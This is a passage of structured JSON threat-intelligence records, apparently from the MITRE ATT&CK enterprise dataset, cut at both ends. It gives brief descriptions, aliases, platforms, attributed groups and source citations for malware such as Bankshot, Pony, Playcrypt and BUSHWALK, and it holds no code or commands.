R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","source_name":"McAfee Bankshot"}],"modified":"2020-03-30T20:41:17.223Z","name":"Bankshot","description":"[Bankshot](https://attack.mitre.org/software/S0239) is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, [Lazarus Group](https://attack.mitre.org/groups/G0032) used the [Bankshot](https://attack.mitre.org/software/S0239) implant in attacks against the Turkish financial sector. (Citation: McAfee Bankshot)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-26T20:19:38.859Z","name":"SharpDisco","description":"[SharpDisco](https://attack.mitre.org/software/S1089) is a dropper developed in C# that has been used by [MoustachedBouncer](https://attack.mitre.org/groups/G1019) since at least 2020 to load malicious plugins.(Citation: MoustachedBouncer ESET August 2023)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["SharpDisco"],"type":"malware","id":"malware--1fefb062-feda-484a-8f10-0cebf65e20e3","created":"2023-09-26T20:19:15.106Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1089","external_id":"S1089"},{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T23:47:16.416Z","name":"StrongPity","description":"[StrongPity](https://attack.mitre.org/software/S0491) is an information stealing malware used by [PROMETHIUM](https://attack.mitre.org/groups/G0056).(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["StrongPity"],"type":"malware","id":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","created":"2020-07-20T17:41:19.690Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0491","external_id":"S0491"},{"source_name":"Talos Promethium June 2020","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html"},{"source_name":"Bitdefender StrongPity June 2020","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-04T20:44:43.949Z","name":"HAPPYWORK","description":"[HAPPYWORK](https://attack.mitre.org/software/S0214) is a downloader used by [APT37](https://attack.mitre.org/groups/G0067) to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["HAPPYWORK"],"type":"malware","id":"malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0214","external_id":"S0214"},{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Pooja Natarajan, NEC Corporation India","Yoshihiro Kori, NEC Corporation","Manikantan Srinivasan, NEC Corporation India"],"x_mitre_aliases":["xCaon"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--21583311-6321-4891-8a37-3eb4e57b0fb1","type":"malware","created":"2021-09-29T00:04:26.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0653","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0653"},{"source_name":"xCaon","description":"(Citation: Checkpoint IndigoZebra July 2021)"},{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."},{"source_name":"Securelist APT Trends Q2 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 8). APT Trends report Q2 2017. Retrieved February 15, 2018.","url":"https://securelist.com/apt-trends-report-q2-2017/79332/"}],"modified":"2021-10-16T02:20:16.562Z","name":"xCaon","description":"[xCaon](https://attack.mitre.org/software/S0653) is an HTTP variant of the [BoxCaon](https://attack.mitre.org/software/S0651) malware family that has used by [IndigoZebra](https://attack.mitre.org/groups/G0136) since at least 2014. [xCaon](https://attack.mitre.org/software/S0653) has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["PLAINTEE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0254","external_id":"S0254"},{"source_name":"PLAINTEE","description":"(Citation: Rancor Unit42 June 2018)"},{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2020-03-30T17:15:33.608Z","name":"PLAINTEE","description":"[PLAINTEE](https://attack.mitre.org/software/S0254) is a malware sample that has been used by [Rancor](https://attack.mitre.org/groups/G0075) in targeted attacks in Singapore and Cambodia. (Citation: Rancor Unit42 June 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Arie Olshtein, Check Point","Kobi Eisenkraft, Check Point"],"x_mitre_aliases":["Pony"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--222ba512-32d9-49ac-aefd-50ce981ce2ce","type":"malware","created":"2020-05-21T21:03:35.244Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0453","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0453"},{"source_name":"Malwarebytes Pony April 2016","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/","description":"hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}],"modified":"2020-06-25T21:57:40.642Z","name":"Pony","description":"[Pony](https://attack.mitre.org/software/S0453) is a credential stealing malware, though has also been used among adversaries for its downloader capabilities. The source code for Pony Loader 1.0 and 2.0 were leaked online, leading to their use by various threat actors.(Citation: Malwarebytes Pony April 2016)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["WinMM"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--22addc7b-b39f-483d-979a-1b35147da5de","type":"malware","created":"2017-05-31T21:32:40.004Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0059","url":"https://attack.mitre.org/software/S0059","source_name":"mitre-attack"},{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2020-03-30T18:27:57.226Z","name":"WinMM","description":"[WinMM](https://attack.mitre.org/software/S0059) is a full-featured, simple backdoor used by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Nebulae"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b","type":"malware","created":"2021-06-30T14:44:35.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0630","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0630"},{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-10-15T22:57:32.775Z","name":"Nebulae","description":"[Nebulae](https://attack.mitre.org/software/S0630) Is a backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since at least 2020.(Citation: Bitdefender Naikon April 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T19:07:36.511Z","name":"Janicab","description":"[Janicab](https://attack.mitre.org/software/S0163) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)","x_mitre_platforms":["macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Janicab"],"type":"malware","id":"malware--234e7770-99b0-4f65-b983-d3230f76a60b","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0163","external_id":"S0163"},{"source_name":"Janicab","description":"Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.","url":"https://web.archive.org/web/20230331162455/https://www.thesafemac.com/new-signed-malware-called-janicab/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:57:01.302Z","name":"AuditCred","description":"[AuditCred](https://attack.mitre.org/software/S0347) is a malicious DLL that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) during their 2018 attacks.(Citation: TrendMicro Lazarus Nov 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["AuditCred","Roptimizer"],"type":"malware","id":"malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92","created":"2019-01-30T15:47:41.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0347","external_id":"S0347"},{"source_name":"AuditCred","description":"(Citation: TrendMicro Lazarus Nov 2018)"},{"source_name":"Roptimizer","description":"(Citation: TrendMicro Lazarus Nov 2018)"},{"source_name":"TrendMicro Lazarus Nov 2018","description":"Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Lurid","Enfal"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--251fbae2-78f6-4de7-84f6-194c727a64ad","type":"malware","created":"2017-05-31T21:32:14.527Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0010","external_id":"S0010"},{"source_name":"Villeneuve 2014","description":"Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.","url":"https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html"},{"source_name":"Villeneuve 2011","description":"Villeneuve, N., Sancho, D. (2011). THE “LURID” DOWNLOADER. Retrieved November 12, 2014.","url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf"}],"modified":"2020-03-31T12:39:16.608Z","name":"Lurid","description":"[Lurid](https://attack.mitre.org/software/S0010) is a malware family that has been used by several groups, including [PittyTiger](https://attack.mitre.org/groups/G0011), in targeted attacks as far back as 2006. (Citation: Villeneuve 2014) (Citation: Villeneuve 2011)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Kasidet"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--26fed817-e7bf-41f9-829a-9075ffac45c2","type":"malware","created":"2017-05-31T21:32:57.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0088","external_id":"S0088"},{"source_name":"Zscaler Kasidet","description":"Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.","url":"http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"}],"modified":"2020-03-30T16:54:23.238Z","name":"Kasidet","description":"[Kasidet](https://attack.mitre.org/software/S0088) is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["OceanSalt"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--288fa242-e894-4c7e-ac86-856deedf5cea","type":"malware","created":"2019-01-30T15:43:19.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0346","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0346"},{"source_name":"OceanSalt","description":"(Citation: McAfee Oceansalt Oct 2018)"},{"description":"Sherstobitoff, R., Malhotra, A. (2018, October 18). ‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf","source_name":"McAfee Oceansalt Oct 2018"}],"modified":"2020-03-30T17:12:48.823Z","name":"OceanSalt","description":"[OceanSalt](https://attack.mitre.org/software/S0346) is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. [OceanSalt](https://attack.mitre.org/software/S0346) shares code similarity with [SpyNote RAT](https://attack.mitre.org/software/S0305), which has been linked to [APT1](https://attack.mitre.org/groups/G0006).(Citation: McAfee Oceansalt Oct 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-02T05:37:59.575Z","name":"Playcrypt","description":"[Playcrypt](https://attack.mitre.org/software/S1162) is a ransomware that has been used by [Play](https://attack.mitre.org/groups/G1040) since at least 2022 in attacks against against the business, government, critical infrastructure, healthcare, and media sectors in North America, South America, and Europe. [Playcrypt](https://attack.mitre.org/software/S1162) derives its name from adding the .play extension to encrypted files and has overlap with tactics and tools associated with Hive and Nokoyawa ransomware and infrastructure associated with Quantum ransomware.(Citation: Microsoft PlayCrypt August 2022)(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Marco Pedrinazzi, @pedrinazziM"],"x_mitre_aliases":["Playcrypt","Play"],"type":"malware","id":"malware--28ad4983-151e-4e30-9792-768470e92b3e","created":"2024-09-25T17:16:06.149Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1162","external_id":"S1162"},{"source_name":"Play","description":"(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)"},{"source_name":"CISA Play Ransomware Advisory December 2023","description":"CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"},{"source_name":"Microsoft PlayCrypt August 2022","description":"Microsoft Security Intelligence. (2022, August 27). Ransom:Win32/PlayCrypt.PA. Retrieved September 24, 2024.","url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/PlayCrypt.PA&ThreatID=2147830341"},{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Brave Prince"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--28b97733-ef07-4414-aaa5-df50b2d30cc5","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"S0252","url":"https://attack.mitre.org/software/S0252"},{"source_name":"Brave Prince","description":"(Citation: McAfee Gold Dragon)"},{"source_name":"McAfee Gold Dragon","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Brave Prince](https://attack.mitre.org/software/S0252) is a Korean-language implant that was first observed in the wild in December 2017. It contains similar code and behavior to [Gold Dragon](https://attack.mitre.org/software/S0249), and was seen along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations surrounding the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)","modified":"2022-04-11T21:44:52.220Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Brave Prince","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:22:35.591Z","name":"RainyDay","description":"[RainyDay](https://attack.mitre.org/software/S0629) is a backdoor tool that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since at least 2020.(Citation: Bitdefender Naikon April 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["RainyDay"],"type":"malware","id":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","created":"2021-06-29T14:46:45.468Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0629","external_id":"S0629"},{"source_name":"Bitdefender Naikon April 2021","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Ecipekac","HEAVYHAND","SigLoader","DESLoader"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3","type":"malware","created":"2021-06-18T18:56:41.244Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0624","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0624"},{"source_name":"HEAVYHAND","description":"(Citation: Securelist APT10 March 2021)"},{"source_name":"SigLoader","description":"(Citation: Securelist APT10 March 2021)"},{"source_name":"DESLoader","description":"(Citation: Securelist APT10 March 2021)"},{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-10-11T14:18:23.361Z","name":"Ecipekac","description":"[Ecipekac](https://attack.mitre.org/software/S0624) is a multi-layer loader that has been used by [menuPass](https://attack.mitre.org/groups/G0045) since at least 2019 including use as a loader for [P8RAT](https://attack.mitre.org/software/S0626), [SodaMaster](https://attack.mitre.org/software/S0627), and [FYAnti](https://attack.mitre.org/software/S0628).(Citation: Securelist APT10 March 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows","Android"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["AppleSeed"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","type":"malware","created":"2021-06-10T14:53:49.448Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0622","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0622"},{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2022-03-15T20:08:18.786Z","name":"AppleSeed","description":"[AppleSeed](https://attack.mitre.org/software/S0622) is a backdoor that has been used by [Kimsuky](https://attack.mitre.org/groups/G0094) to target South Korean government, academic, and commercial targets since at least 2021.(Citation: Malwarebytes Kimsuky June 2021)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-03-28T19:04:24.485Z","name":"BUSHWALK","description":"[BUSHWALK](https://attack.mitre.org/software/S1118) is a web shell written in Perl that was inserted into the legitimate querymanifest.cgi file on compromised Ivanti Connect Secure VPNs during [Cutting Edge](https://attack.mitre.org/campaigns/C0029).(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)","x_mitre_platforms":["Network"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["BUSHWALK"],"type":"malware","id":"malware--29a0bb87-1162-4c83-9834-2a98a876051b","created":"2024-03-07T20:16:36.898Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1118","external_id":"S1118"},{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"},{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-19T21:01:46.587Z","name":"macOS.OSAMiner","description":"[macOS.OSAMiner](https://attack.mitre.org/software/S1048) is a Monero mining trojan that was first observed in 2018; security researchers assessed [macOS.OSAMiner](https://attack.mitre.org/software/S1048) may have been circulating since at least 2015. [macOS.OSAMiner](https://attack.mitre.org/software/S1048) is known for embedding one run-only AppleScript into another, which helped the malware evade full analysis for five years due to a lack of Apple event (AEVT) analysis tools.(Citation: SentinelLabs reversing run-only applescripts 2021)(Citation: VMRay OSAMiner dynamic analysis 2021)","x_mitre_platforms":["macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["macOS.OSAMiner"],"type":"malware","id":"malware--2a59a237-1530-4d55-91f9-2aebf961cc37","created":"2022-10-04T06:35:40.506Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1048","external_id":"S1048"},{"source_name":"SentinelLabs reversing run-only applescripts 2021","description":"Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.","url":"https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"},{"source_name":"VMRay OSAMiner dynamic analysis 2021","description":"VMRAY. (2021, January 14). Malware Analysis Spotlight: OSAMiner Uses Run-Only AppleScripts to Evade Detection. Retrieved October 4, 